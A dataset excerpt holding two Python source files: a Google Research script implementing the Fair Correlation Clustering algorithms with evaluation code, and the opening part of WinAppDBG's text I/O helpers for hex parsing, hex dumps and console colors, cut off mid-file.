max_stars_count
int64
301
224k
text
stringlengths
6
1.05M
token_count
int64
3
727k
23,901
<reponame>deepneuralmachine/google-research # coding=utf-8 # Copyright 2021 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. r"""Implementation of the Fair Correlation Clustering AISTATS2020 Paper. =============================== This is the implementation accompanying the AISTATS 2020 paper, [_Fair Correlation Clustering_](https://arxiv.org/abs/2002.02274). Citing ------ If you find _Fair Correlation Clustering_ useful in your research, we ask that you cite the following paper: > <NAME>., <NAME>., <NAME>., <NAME>. (2020). > Fair Correlation Clustering. > In _AISTATS_. @inproceedings{ahmadian2020fair, author={<NAME>, <NAME>} title={Fair Correlation Clustering}, booktitle = {AISTATS}, year = {2020}, } Example execution ------ python3 -m fair_correlation_clustering.correlation_clustering \ --input_graph=${graph} \ --input_color_mapping=${color_mapping} \ --output_results=${results} Where ${graph} is the path to a text file containing the graph, ${color_mapping} is the path to the color mapping and ${results} is the path to the output file with the results. As in fair clustering problems nodes are labeled with a color. We assume colors to be intergers from 0 to c-1, for c number of colors. The node ids must be consecutive integers in 0 ... n-1. The input of the color mapping is a file where for each node there is row with id color e.g. 0 0 1 1 2 2 3 2 represents that node 0 has color 0, node 1 has color 1 and node 2 has color 2 and 3 has color 2. All nodes must have one color associated. In this library, we assume that the graph is a _complete_ unweighted signed graph. That means that between each pair of nodes there is an edge which is either positive or negative. In the input we represent the graph by listing the positive edges only, with the assumption that all missing edges are negative. The graph input format is a text file containing one (positive) edge per row represented as its pair of node ids. The graph is supposed to be undirected. The node ids must be consecutive integers in 0 ... n-1. For instance the file: 0 1 1 2 2 0 represents the positive triangle 0, 1, 2 and contains the implicit negative edges 0 3, 1 3, 2 3 (since the graph has 4 nodes). Notice that as we assume that the graph is complete, the code not optimized for sparse graphs and it uses n^2 memory to store explictly all positive and negative edges. The output results format is a json file containing a pandas dataframe with the results of the experiment. """ import collections import datetime import random from absl import app from absl import flags from absl import logging from correlation_clustering.baselines import BaselineAllTogether from correlation_clustering.baselines import BaselineRandomFairEqual from correlation_clustering.baselines import BaselineRandomFairOneHalf from correlation_clustering.correlation_clustering_solver import LocalSearchAlgorithm from correlation_clustering.correlation_clustering_solver import PivotAlgorithm from correlation_clustering.utils import ClusterIdMap from correlation_clustering.utils import CorrelationClusteringError from correlation_clustering.utils import FractionalColorImbalance from correlation_clustering.utils import PairwiseFairletCosts import networkx as nx import pandas as pd flags.DEFINE_string( 'input_graph', None, 'The input graph path as a text file containing one (positive) edge per ' 'row, as the two node ids u v of the edge separated by a whitespace. ' 'The graph is assumed to be undirected. For example the ' 'file:\n0 1\n1 2\n0 2\n represents the triangle 0 1 2.') flags.DEFINE_string( 'input_color_mapping', None, 'The input color mapping path as a text file containing one node color pair' ' per row, separated by a whitespace. For example the ' 'file:0 0\n 1 1\n 2 2\n 3 2\n represents the mapping 0 -> 0, 1 -> 1, ' '2 -> 2, 3 -> 2. Colors must be intergers in [0, c-1].') flags.DEFINE_string('output_results', None, 'output path for the json file containing the results.') flags.DEFINE_integer('seed', 12838123, 'seed for random number generator.') flags.DEFINE_integer('tries', 2, 'number of times the algorithms are run.') FLAGS = flags.FLAGS def ReadInput(input_file_graph, input_file_colors): """Read the graph and the color map. Read the graph file and color mapping and output a nx.Graph. Args: input_file_graph: text file, each line representing the positive edges as tab separated pairs of ints u v. input_file_colors: a text file, each line representing the color mapping as tab separated pairs of ints id color. Returns: The graph in nx.Graph format where nodes are consecutive integers and all pairs of nodes have an edge and the 'color' attribute is set of a each node. This is the standard format assumed in the library. """ node_id = collections.defaultdict(int) graph = nx.Graph() with open(input_file_colors, 'r') as in_file: for row in in_file: row = row.split('\t') u = row[0].strip() c = int(row[1].strip()) if u not in node_id: node_id[u] = len(node_id) graph.add_node(node_id[u]) graph.nodes[node_id[u]]['color'] = c with open(input_file_graph, 'r') as in_file: for row in in_file: row = row.split('\t') u = row[0].strip() v = row[1].strip() if u == v: continue assert u in node_id assert v in node_id graph.add_edge(node_id[u], node_id[v], weight=+1) for n1 in graph.nodes(): for n2 in graph.nodes(): if n1 < n2 and not graph.has_edge(n1, n2): graph.add_edge(n1, n2, weight=-1) return graph def CorrelationClusteringOneHalfAlgorithm(graph): """Algorithm for correlation clustering with fairness constraint, alpha = 1/2. The algorithm solves approximately correlation clustering with fairness constraints, for the special case of alpha=1/2 balancedness (i.e., each color is at most 1/2 of the cluster). For simplicity we use the matching based algorithm which assumes that a feasible solution consisting of fairlets of size 2 is possible (i.e. no color is >1/2 of nodes and nodes are even). Args: graph: The undirected graph represented nx.Graph. Nodes must have the attribute 'color'. Returns: A list of lists represeting the clusters. Each entry in the list is a cluster. """ # First, the fairlet decomposition problem is solved. fairlets = FairletDecompositionOneHalf(graph) # Then, we obtain the compressed graph. compressed_graph, fairlet_dict = CompressGraph(graph, fairlets) # Then, we run local search heuristic algorithm over compressed graph. solution = LocalSearchAlgorithm(compressed_graph) # Finally, the solution of the compressed graph is lifted to the original # problem. return UnpackSolution(solution, fairlet_dict) def CorrelationClusteringEqualRepresentation(graph): """Algorithm for correlation clustering with fairness constraint, alpha = 1/c. The algorithm solves approximately correlation clustering with fairness constraints, for the special case of equal color representation. It is assumed that in the graph all colors are balanced. Args: graph: The undirected graph represented nx.Graph. Nodes must have the attribute 'color'. Only positive weight edges are represented. All missing edges are assumed to be negative. Returns: A list of lists represeting the clusters. Each entry in the list is a cluster. """ # First, the fairlet decomposition problem is solved. fairlets = FairletDecompositionEqualRepresentation(graph) # Then, we obtain the compressed graph. compressed_graph, fairlet_dict = CompressGraph(graph, fairlets) # Then, we run local search heuristic algorithm over compressed graph. solution = LocalSearchAlgorithm(compressed_graph) # Finally, the solution of the compressed graph is lifted to the original # problem. return UnpackSolution(solution, fairlet_dict) def FairletDecompositionOneHalf(graph): """Algorithm for fairlet decomposition for the alpha = 1/2 case. The algorithm solves the fairlet decomposition problem for the 1/2 case. We assume there is a feasible solution with fairlets of size 2. Args: graph: The undirected graph represented nx.Graph. Nodes must have the attribute 'color'. Only positive weight edges are represented. All missing edges are assumed to be negative. Returns: A list of lists represeting the fairlets. Each entry in the list is a farilet. """ # Compute a matrix with the fairlet cost for each pair of nodes. distance_matrix = PairwiseFairletCosts(graph) # Create a graph with edges between different color nodes with the # fairlet cost as weight. matching_graph = nx.Graph() # Notice that internally we assume the graph has consecutive integers. for i in range(len(distance_matrix)): for j in range(i + 1, len(distance_matrix)): if graph.nodes[i]['color'] != graph.nodes[j]['color']: # using -distance for weight as the algorithm used finds the max # weight cardinality matching. matching_graph.add_edge(i, j, weight=-distance_matrix[i][j]) matching = nx.max_weight_matching(matching_graph, maxcardinality=True) return [list(m) for m in matching] def FairletDecompositionEqualRepresentation(graph): """Algorithm for fairlet decomposition for the equal representation case. The algorithm solves the fairlet decomposition problem for the 1/c case. We assume there is a feasible solution with fairlets of size C. Args: graph: The undirected graph represented nx.Graph. Nodes must have the attribute 'color'. Only positive weight edges are represented. All missing edges are assumed to be negative. Returns: A list of lists represeting the fairlets. Each entry in the list is a farilet. """ # First we check that the problem is feasible (equal representation of each # color in the dataset). # Map between color and nodes of that colors. color_nodes = collections.defaultdict(list) for u, d in graph.nodes(data=True): color_nodes[d['color']].append(u) sizes = [len(l) for l in color_nodes.values()] assert max(sizes) == min(sizes) assert len(sizes) >= 2 # Computes the pairwise fairlet cost matrix. distance_matrix = PairwiseFairletCosts(graph) # Pick random ordering of colors for the computing a repeated matching # between pairs of nodes of different colors. color_nodes = list(color_nodes.values()) random.shuffle(color_nodes) # Initializes one fairlet for each node of color in position 0. color_a_nodes = set(color_nodes[0]) fairlets = collections.defaultdict(list) node_to_fairlet_id = {} for node_a in color_a_nodes: fairlets[node_a].append(node_a) node_to_fairlet_id[node_a] = node_a # Matches nodes of color color_id with nodes of color color_id - 1. for color_id in range(1, len(color_nodes)): matching_graph = nx.Graph() previous_assigned = set(color_nodes[color_id - 1]) color_b_nodes = color_nodes[color_id] for i in previous_assigned: for j in color_b_nodes: matching_graph.add_edge(i, j, weight=-distance_matrix[i][j]) matching = nx.max_weight_matching(matching_graph, maxcardinality=True) assert len(matching) == len(color_a_nodes) for a, b in matching: assigned_node = a if a in previous_assigned else b unassigned_node = b if a in previous_assigned else a fairlets[node_to_fairlet_id[assigned_node]].append(unassigned_node) node_to_fairlet_id[unassigned_node] = node_to_fairlet_id[assigned_node] return [nodes for nodes in fairlets.values()] def CompressGraph(graph, fairlets): """Algorithm for graph compression algorithm based on fairlets. The algorithm compress the graph representing each fairlet a single node as described in the paper. Args: graph: The undirected graph represented nx.Graph. Nodes must have the attribute 'color'. Only positive weight edges are represented. All missing edges are assumed to be negative. fairlets: The fairlets as a list of lists. Returns: A graph in networkx format and the mapping of node ids in the new graph to fairlet ids. """ fairlet_dict = {} for i, nodes in enumerate(fairlets): for node in nodes: fairlet_dict[node] = i # Computes the positive - negatives weights between the two fairlets positives = collections.defaultdict(int) negatives = collections.defaultdict(int) for u, v, d in graph.edges(data=True): if fairlet_dict[u] != fairlet_dict[v]: m1 = fairlet_dict[ u] if fairlet_dict[u] < fairlet_dict[v] else fairlet_dict[v] m2 = fairlet_dict[ v] if fairlet_dict[u] < fairlet_dict[v] else fairlet_dict[u] if d['weight'] > 0: positives[(m1, m2)] += 1 elif d['weight'] < 0: negatives[(m1, m2)] += 1 compressed_graph = nx.Graph() pairs = set(positives.keys()) | set(negatives.keys()) for u, v in pairs: if positives[(u, v)] >= negatives[(u, v)]: compressed_graph.add_edge(u, v, weight=positives[(u, v)]) else: compressed_graph.add_edge(u, v, weight=-negatives[(u, v)]) assert len(compressed_graph.nodes()) == len(fairlets) return compressed_graph, fairlet_dict def UnpackSolution(compressed_solution, fairlet_dict): """Algorithm for unpacking the compressed graph solution. Given a solution to the compressed graph and the fairlet_id dictionary, unpack the soluton by associating all nodes in the fairlet with the cluster to which their id belongs. Args: compressed_solution: the solution of the compressed graph. fairlet_dict: a map from fairlet id to original node Returns: A solultion for the original graph. """ compressed_clust_assignment = ClusterIdMap(compressed_solution) new_clusters = collections.defaultdict(list) for node, fairlet_id in fairlet_dict.items(): assert fairlet_id in compressed_clust_assignment clust_id = compressed_clust_assignment[fairlet_id] new_clusters[clust_id].append(node) return list(new_clusters.values()) def RunEval(graph, num_colors, algorithm, algo_label, seed): """Run the evalution of a given correlation clustering algorithm. Runs the function algorithm over graph to obtain a solution and then evaluates the correlation clustering error, the imbalance for equal representation and for majority representation Args: graph: the graph num_colors: number of colors in the graph algorithm: the algorithm to call algo_label: a label for the algorithm seed: a seed used for randomness Returns: A dictionary with the results of the evaluation. """ logging.info('[RUNNING] algorithm %s with seed %d', algo_label, seed) result = {'algo': algo_label, 'colors': num_colors, 'seed': seed} random.seed(seed) start_time = datetime.datetime.now() solution = algorithm(graph) end_time = datetime.datetime.now() delta = end_time - start_time result['time'] = delta.total_seconds() all_elems = set() for clus in solution: for c in clus: all_elems.add(c) assert all_elems == set(graph.nodes()) assert sum(len(clust) for clust in solution) == graph.number_of_nodes() result['error'] = CorrelationClusteringError(graph, solution) result['onehalf_imbalance'] = FractionalColorImbalance(graph, solution, 0.5) if num_colors > 2: result['equal_imbalance'] = FractionalColorImbalance( graph, solution, 1.0 / num_colors) logging.info('[DONE] results: %s', result) return result def RunAnalysis(graph, num_colors, seed, tries, outfile): """Run all algorithms over a given graph and output the results. Runs all the algorithms over a graph evaluates them. Args: graph: the graph num_colors: number of colors in the graph seed: a seed used for randomness tries: how many times to call the algorithms outfile: path to a file. Returns: A dictionary with the results of the evaluation. """ results = [] algorithms = [(PivotAlgorithm, 'pivot'), (LocalSearchAlgorithm, 'local_search'), (CorrelationClusteringOneHalfAlgorithm, 'onehalf_fair'), (BaselineAllTogether, 'one_cluster'), (BaselineRandomFairOneHalf, 'random_onehalf_fair')] if num_colors > 2: algorithms.extend([(CorrelationClusteringEqualRepresentation, 'equal_fair'), (BaselineRandomFairEqual, 'random_equal_fair')]) for t in range(tries): for algo, algo_label in algorithms: seed_for_run = seed + t results.append(RunEval(graph, num_colors, algo, algo_label, seed_for_run)) df = pd.DataFrame(results) with open(outfile, 'w') as out_file: df.to_json(out_file) def main(argv=()): del argv # Unused. graph = ReadInput(FLAGS.input_graph, FLAGS.input_color_mapping) num_colors = len(set([graph.nodes[n]['color'] for n in graph.nodes()])) RunAnalysis(graph, num_colors, FLAGS.seed, FLAGS.tries, FLAGS.output_results) if __name__ == '__main__': flags.mark_flag_as_required('input_graph') flags.mark_flag_as_required('input_color_mapping') flags.mark_flag_as_required('output_results') app.run(main)
5,806
695
#!~/.wine/drive_c/Python25/python.exe # -*- coding: utf-8 -*- # Copyright (c) 2009-2014, <NAME> # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice,this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. """ Functions for text input, logging or text output. @group Helpers: HexDump, HexInput, HexOutput, Color, Table, Logger DebugLog CrashDump """ __revision__ = "$Id$" __all__ = [ 'HexDump', 'HexInput', 'HexOutput', 'Color', 'Table', 'CrashDump', 'DebugLog', 'Logger', ] import sys from winappdbg import win32 from winappdbg import compat from winappdbg.util import StaticClass import re import time import struct import traceback #------------------------------------------------------------------------------ class HexInput (StaticClass): """ Static functions for user input parsing. The counterparts for each method are in the L{HexOutput} class. """ @staticmethod def integer(token): """ Convert numeric strings into integers. @type token: str @param token: String to parse. @rtype: int @return: Parsed integer value. """ token = token.strip() neg = False if token.startswith(compat.b('-')): token = token[1:] neg = True if token.startswith(compat.b('0x')): result = int(token, 16) # hexadecimal elif token.startswith(compat.b('0b')): result = int(token[2:], 2) # binary elif token.startswith(compat.b('0o')): result = int(token, 8) # octal else: try: result = int(token) # decimal except ValueError: result = int(token, 16) # hexadecimal (no "0x" prefix) if neg: result = -result return result @staticmethod def address(token): """ Convert numeric strings into memory addresses. @type token: str @param token: String to parse. @rtype: int @return: Parsed integer value. """ return int(token, 16) @staticmethod def hexadecimal(token): """ Convert a strip of hexadecimal numbers into binary data. @type token: str @param token: String to parse. @rtype: str @return: Parsed string value. """ token = ''.join([ c for c in token if c.isalnum() ]) if len(token) % 2 != 0: raise ValueError("Missing characters in hex data") data = '' for i in compat.xrange(0, len(token), 2): x = token[i:i+2] d = int(x, 16) s = struct.pack('<B', d) data += s return data @staticmethod def pattern(token): """ Convert an hexadecimal search pattern into a POSIX regular expression. For example, the following pattern:: "B8 0? ?0 ?? ??" Would match the following data:: "B8 0D F0 AD BA" # mov eax, 0xBAADF00D @type token: str @param token: String to parse. @rtype: str @return: Parsed string value. """ token = ''.join([ c for c in token if c == '?' or c.isalnum() ]) if len(token) % 2 != 0: raise ValueError("Missing characters in hex data") regexp = '' for i in compat.xrange(0, len(token), 2): x = token[i:i+2] if x == '??': regexp += '.' elif x[0] == '?': f = '\\x%%.1x%s' % x[1] x = ''.join([ f % c for c in compat.xrange(0, 0x10) ]) regexp = '%s[%s]' % (regexp, x) elif x[1] == '?': f = '\\x%s%%.1x' % x[0] x = ''.join([ f % c for c in compat.xrange(0, 0x10) ]) regexp = '%s[%s]' % (regexp, x) else: regexp = '%s\\x%s' % (regexp, x) return regexp @staticmethod def is_pattern(token): """ Determine if the given argument is a valid hexadecimal pattern to be used with L{pattern}. @type token: str @param token: String to parse. @rtype: bool @return: C{True} if it's a valid hexadecimal pattern, C{False} otherwise. """ return re.match(r"^(?:[\?A-Fa-f0-9][\?A-Fa-f0-9]\s*)+$", token) @classmethod def integer_list_file(cls, filename): """ Read a list of integers from a file. The file format is: - # anywhere in the line begins a comment - leading and trailing spaces are ignored - empty lines are ignored - integers can be specified as: - decimal numbers ("100" is 100) - hexadecimal numbers ("0x100" is 256) - binary numbers ("0b100" is 4) - octal numbers ("0100" is 64) @type filename: str @param filename: Name of the file to read. @rtype: list( int ) @return: List of integers read from the file. """ count = 0 result = list() fd = open(filename, 'r') for line in fd: count = count + 1 if '#' in line: line = line[ : line.find('#') ] line = line.strip() if line: try: value = cls.integer(line) except ValueError: e = sys.exc_info()[1] msg = "Error in line %d of %s: %s" msg = msg % (count, filename, str(e)) raise ValueError(msg) result.append(value) return result @classmethod def string_list_file(cls, filename): """ Read a list of string values from a file. The file format is: - # anywhere in the line begins a comment - leading and trailing spaces are ignored - empty lines are ignored - strings cannot span over a single line @type filename: str @param filename: Name of the file to read. @rtype: list @return: List of integers and strings read from the file. """ count = 0 result = list() fd = open(filename, 'r') for line in fd: count = count + 1 if '#' in line: line = line[ : line.find('#') ] line = line.strip() if line: result.append(line) return result @classmethod def mixed_list_file(cls, filename): """ Read a list of mixed values from a file. The file format is: - # anywhere in the line begins a comment - leading and trailing spaces are ignored - empty lines are ignored - strings cannot span over a single line - integers can be specified as: - decimal numbers ("100" is 100) - hexadecimal numbers ("0x100" is 256) - binary numbers ("0b100" is 4) - octal numbers ("0100" is 64) @type filename: str @param filename: Name of the file to read. @rtype: list @return: List of integers and strings read from the file. """ count = 0 result = list() fd = open(filename, 'r') for line in fd: count = count + 1 if '#' in line: line = line[ : line.find('#') ] line = line.strip() if line: try: value = cls.integer(line) except ValueError: value = line result.append(value) return result #------------------------------------------------------------------------------ class HexOutput (StaticClass): """ Static functions for user output parsing. The counterparts for each method are in the L{HexInput} class. @type integer_size: int @cvar integer_size: Default size in characters of an outputted integer. This value is platform dependent. @type address_size: int @cvar address_size: Default Number of bits of the target architecture. This value is platform dependent. """ integer_size = (win32.SIZEOF(win32.DWORD) * 2) + 2 address_size = (win32.SIZEOF(win32.SIZE_T) * 2) + 2 @classmethod def integer(cls, integer, bits = None): """ @type integer: int @param integer: Integer. @type bits: int @param bits: (Optional) Number of bits of the target architecture. The default is platform dependent. See: L{HexOutput.integer_size} @rtype: str @return: Text output. """ if bits is None: integer_size = cls.integer_size else: integer_size = (bits / 4) + 2 if integer >= 0: return ('0x%%.%dx' % (integer_size - 2)) % integer return ('-0x%%.%dx' % (integer_size - 2)) % -integer @classmethod def address(cls, address, bits = None): """ @type address: int @param address: Memory address. @type bits: int @param bits: (Optional) Number of bits of the target architecture. The default is platform dependent. See: L{HexOutput.address_size} @rtype: str @return: Text output. """ if bits is None: address_size = cls.address_size bits = win32.bits else: address_size = (bits / 4) + 2 if address < 0: address = ((2 ** bits) - 1) ^ ~address return ('0x%%.%dx' % (address_size - 2)) % address @staticmethod def hexadecimal(data): """ Convert binary data to a string of hexadecimal numbers. @type data: str @param data: Binary data. @rtype: str @return: Hexadecimal representation. """ return HexDump.hexadecimal(data, separator = '') @classmethod def integer_list_file(cls, filename, values, bits = None): """ Write a list of integers to a file. If a file of the same name exists, it's contents are replaced. See L{HexInput.integer_list_file} for a description of the file format. @type filename: str @param filename: Name of the file to write. @type values: list( int ) @param values: List of integers to write to the file. @type bits: int @param bits: (Optional) Number of bits of the target architecture. The default is platform dependent. See: L{HexOutput.integer_size} """ fd = open(filename, 'w') for integer in values: print >> fd, cls.integer(integer, bits) fd.close() @classmethod def string_list_file(cls, filename, values): """ Write a list of strings to a file. If a file of the same name exists, it's contents are replaced. See L{HexInput.string_list_file} for a description of the file format. @type filename: str @param filename: Name of the file to write. @type values: list( int ) @param values: List of strings to write to the file. """ fd = open(filename, 'w') for string in values: print >> fd, string fd.close() @classmethod def mixed_list_file(cls, filename, values, bits): """ Write a list of mixed values to a file. If a file of the same name exists, it's contents are replaced. See L{HexInput.mixed_list_file} for a description of the file format. @type filename: str @param filename: Name of the file to write. @type values: list( int ) @param values: List of mixed values to write to the file. @type bits: int @param bits: (Optional) Number of bits of the target architecture. The default is platform dependent. See: L{HexOutput.integer_size} """ fd = open(filename, 'w') for original in values: try: parsed = cls.integer(original, bits) except TypeError: parsed = repr(original) print >> fd, parsed fd.close() #------------------------------------------------------------------------------ class HexDump (StaticClass): """ Static functions for hexadecimal dumps. @type integer_size: int @cvar integer_size: Size in characters of an outputted integer. This value is platform dependent. @type address_size: int @cvar address_size: Size in characters of an outputted address. This value is platform dependent. """ integer_size = (win32.SIZEOF(win32.DWORD) * 2) address_size = (win32.SIZEOF(win32.SIZE_T) * 2) @classmethod def integer(cls, integer, bits = None): """ @type integer: int @param integer: Integer. @type bits: int @param bits: (Optional) Number of bits of the target architecture. The default is platform dependent. See: L{HexDump.integer_size} @rtype: str @return: Text output. """ if bits is None: integer_size = cls.integer_size else: integer_size = bits / 4 return ('%%.%dX' % integer_size) % integer @classmethod def address(cls, address, bits = None): """ @type address: int @param address: Memory address. @type bits: int @param bits: (Optional) Number of bits of the target architecture. The default is platform dependent. See: L{HexDump.address_size} @rtype: str @return: Text output. """ if bits is None: address_size = cls.address_size bits = win32.bits else: address_size = bits / 4 if address < 0: address = ((2 ** bits) - 1) ^ ~address return ('%%.%dX' % address_size) % address @staticmethod def printable(data): """ Replace unprintable characters with dots. @type data: str @param data: Binary data. @rtype: str @return: Printable text. """ result = '' for c in data: if 32 < ord(c) < 128: result += c else: result += '.' return result @staticmethod def hexadecimal(data, separator = ''): """ Convert binary data to a string of hexadecimal numbers. @type data: str @param data: Binary data. @type separator: str @param separator: Separator between the hexadecimal representation of each character. @rtype: str @return: Hexadecimal representation. """ return separator.join( [ '%.2x' % ord(c) for c in data ] ) @staticmethod def hexa_word(data, separator = ' '): """ Convert binary data to a string of hexadecimal WORDs. @type data: str @param data: Binary data. @type separator: str @param separator: Separator between the hexadecimal representation of each WORD. @rtype: str @return: Hexadecimal representation. """ if len(data) & 1 != 0: data += '\0' return separator.join( [ '%.4x' % struct.unpack('<H', data[i:i+2])[0] \ for i in compat.xrange(0, len(data), 2) ] ) @staticmethod def hexa_dword(data, separator = ' '): """ Convert binary data to a string of hexadecimal DWORDs. @type data: str @param data: Binary data. @type separator: str @param separator: Separator between the hexadecimal representation of each DWORD. @rtype: str @return: Hexadecimal representation. """ if len(data) & 3 != 0: data += '\0' * (4 - (len(data) & 3)) return separator.join( [ '%.8x' % struct.unpack('<L', data[i:i+4])[0] \ for i in compat.xrange(0, len(data), 4) ] ) @staticmethod def hexa_qword(data, separator = ' '): """ Convert binary data to a string of hexadecimal QWORDs. @type data: str @param data: Binary data. @type separator: str @param separator: Separator between the hexadecimal representation of each QWORD. @rtype: str @return: Hexadecimal representation. """ if len(data) & 7 != 0: data += '\0' * (8 - (len(data) & 7)) return separator.join( [ '%.16x' % struct.unpack('<Q', data[i:i+8])[0]\ for i in compat.xrange(0, len(data), 8) ] ) @classmethod def hexline(cls, data, separator = ' ', width = None): """ Dump a line of hexadecimal numbers from binary data. @type data: str @param data: Binary data. @type separator: str @param separator: Separator between the hexadecimal representation of each character. @type width: int @param width: (Optional) Maximum number of characters to convert per text line. This value is also used for padding. @rtype: str @return: Multiline output text. """ if width is None: fmt = '%s %s' else: fmt = '%%-%ds %%-%ds' % ((len(separator)+2)*width-1, width) return fmt % (cls.hexadecimal(data, separator), cls.printable(data)) @classmethod def hexblock(cls, data, address = None, bits = None, separator = ' ', width = 8): """ Dump a block of hexadecimal numbers from binary data. Also show a printable text version of the data. @type data: str @param data: Binary data. @type address: str @param address: Memory address where the data was read from. @type bits: int @param bits: (Optional) Number of bits of the target architecture. The default is platform dependent. See: L{HexDump.address_size} @type separator: str @param separator: Separator between the hexadecimal representation of each character. @type width: int @param width: (Optional) Maximum number of characters to convert per text line. @rtype: str @return: Multiline output text. """ return cls.hexblock_cb(cls.hexline, data, address, bits, width, cb_kwargs = {'width' : width, 'separator' : separator}) @classmethod def hexblock_cb(cls, callback, data, address = None, bits = None, width = 16, cb_args = (), cb_kwargs = {}): """ Dump a block of binary data using a callback function to convert each line of text. @type callback: function @param callback: Callback function to convert each line of data. @type data: str @param data: Binary data. @type address: str @param address: (Optional) Memory address where the data was read from. @type bits: int @param bits: (Optional) Number of bits of the target architecture. The default is platform dependent. See: L{HexDump.address_size} @type cb_args: str @param cb_args: (Optional) Arguments to pass to the callback function. @type cb_kwargs: str @param cb_kwargs: (Optional) Keyword arguments to pass to the callback function. @type width: int @param width: (Optional) Maximum number of bytes to convert per text line. @rtype: str @return: Multiline output text. """ result = '' if address is None: for i in compat.xrange(0, len(data), width): result = '%s%s\n' % ( result, \ callback(data[i:i+width], *cb_args, **cb_kwargs) ) else: for i in compat.xrange(0, len(data), width): result = '%s%s: %s\n' % ( result, cls.address(address, bits), callback(data[i:i+width], *cb_args, **cb_kwargs) ) address += width return result @classmethod def hexblock_byte(cls, data, address = None, bits = None, separator = ' ', width = 16): """ Dump a block of hexadecimal BYTEs from binary data. @type data: str @param data: Binary data. @type address: str @param address: Memory address where the data was read from. @type bits: int @param bits: (Optional) Number of bits of the target architecture. The default is platform dependent. See: L{HexDump.address_size} @type separator: str @param separator: Separator between the hexadecimal representation of each BYTE. @type width: int @param width: (Optional) Maximum number of BYTEs to convert per text line. @rtype: str @return: Multiline output text. """ return cls.hexblock_cb(cls.hexadecimal, data, address, bits, width, cb_kwargs = {'separator': separator}) @classmethod def hexblock_word(cls, data, address = None, bits = None, separator = ' ', width = 8): """ Dump a block of hexadecimal WORDs from binary data. @type data: str @param data: Binary data. @type address: str @param address: Memory address where the data was read from. @type bits: int @param bits: (Optional) Number of bits of the target architecture. The default is platform dependent. See: L{HexDump.address_size} @type separator: str @param separator: Separator between the hexadecimal representation of each WORD. @type width: int @param width: (Optional) Maximum number of WORDs to convert per text line. @rtype: str @return: Multiline output text. """ return cls.hexblock_cb(cls.hexa_word, data, address, bits, width * 2, cb_kwargs = {'separator': separator}) @classmethod def hexblock_dword(cls, data, address = None, bits = None, separator = ' ', width = 4): """ Dump a block of hexadecimal DWORDs from binary data. @type data: str @param data: Binary data. @type address: str @param address: Memory address where the data was read from. @type bits: int @param bits: (Optional) Number of bits of the target architecture. The default is platform dependent. See: L{HexDump.address_size} @type separator: str @param separator: Separator between the hexadecimal representation of each DWORD. @type width: int @param width: (Optional) Maximum number of DWORDs to convert per text line. @rtype: str @return: Multiline output text. """ return cls.hexblock_cb(cls.hexa_dword, data, address, bits, width * 4, cb_kwargs = {'separator': separator}) @classmethod def hexblock_qword(cls, data, address = None, bits = None, separator = ' ', width = 2): """ Dump a block of hexadecimal QWORDs from binary data. @type data: str @param data: Binary data. @type address: str @param address: Memory address where the data was read from. @type bits: int @param bits: (Optional) Number of bits of the target architecture. The default is platform dependent. See: L{HexDump.address_size} @type separator: str @param separator: Separator between the hexadecimal representation of each QWORD. @type width: int @param width: (Optional) Maximum number of QWORDs to convert per text line. @rtype: str @return: Multiline output text. """ return cls.hexblock_cb(cls.hexa_qword, data, address, bits, width * 8, cb_kwargs = {'separator': separator}) #------------------------------------------------------------------------------ # TODO: implement an ANSI parser to simplify using colors class Color (object): """ Colored console output. """ @staticmethod def _get_text_attributes(): return win32.GetConsoleScreenBufferInfo().wAttributes @staticmethod def _set_text_attributes(wAttributes): win32.SetConsoleTextAttribute(wAttributes = wAttributes) #-------------------------------------------------------------------------- @classmethod def can_use_colors(cls): """ Determine if we can use colors. Colored output only works when the output is a real console, and fails when redirected to a file or pipe. Call this method before issuing a call to any other method of this class to make sure it's actually possible to use colors. @rtype: bool @return: C{True} if it's possible to output text with color, C{False} otherwise. """ try: cls._get_text_attributes() return True except Exception: return False @classmethod def reset(cls): "Reset the colors to the default values." cls._set_text_attributes(win32.FOREGROUND_GREY) #-------------------------------------------------------------------------- #@classmethod #def underscore(cls, on = True): # wAttributes = cls._get_text_attributes() # if on: # wAttributes |= win32.COMMON_LVB_UNDERSCORE # else: # wAttributes &= ~win32.COMMON_LVB_UNDERSCORE # cls._set_text_attributes(wAttributes) #-------------------------------------------------------------------------- @classmethod def default(cls): "Make the current foreground color the default." wAttributes = cls._get_text_attributes() wAttributes &= ~win32.FOREGROUND_MASK wAttributes |= win32.FOREGROUND_GREY wAttributes &= ~win32.FOREGROUND_INTENSITY cls._set_text_attributes(wAttributes) @classmethod def light(cls): "Make the current foreground color light." wAttributes = cls._get_text_attributes() wAttributes |= win32.FOREGROUND_INTENSITY cls._set_text_attributes(wAttributes) @classmethod def dark(cls): "Make the current foreground color dark." wAttributes = cls._get_text_attributes() wAttributes &= ~win32.FOREGROUND_INTENSITY cls._set_text_attributes(wAttributes) @classmethod def black(cls): "Make the text foreground color 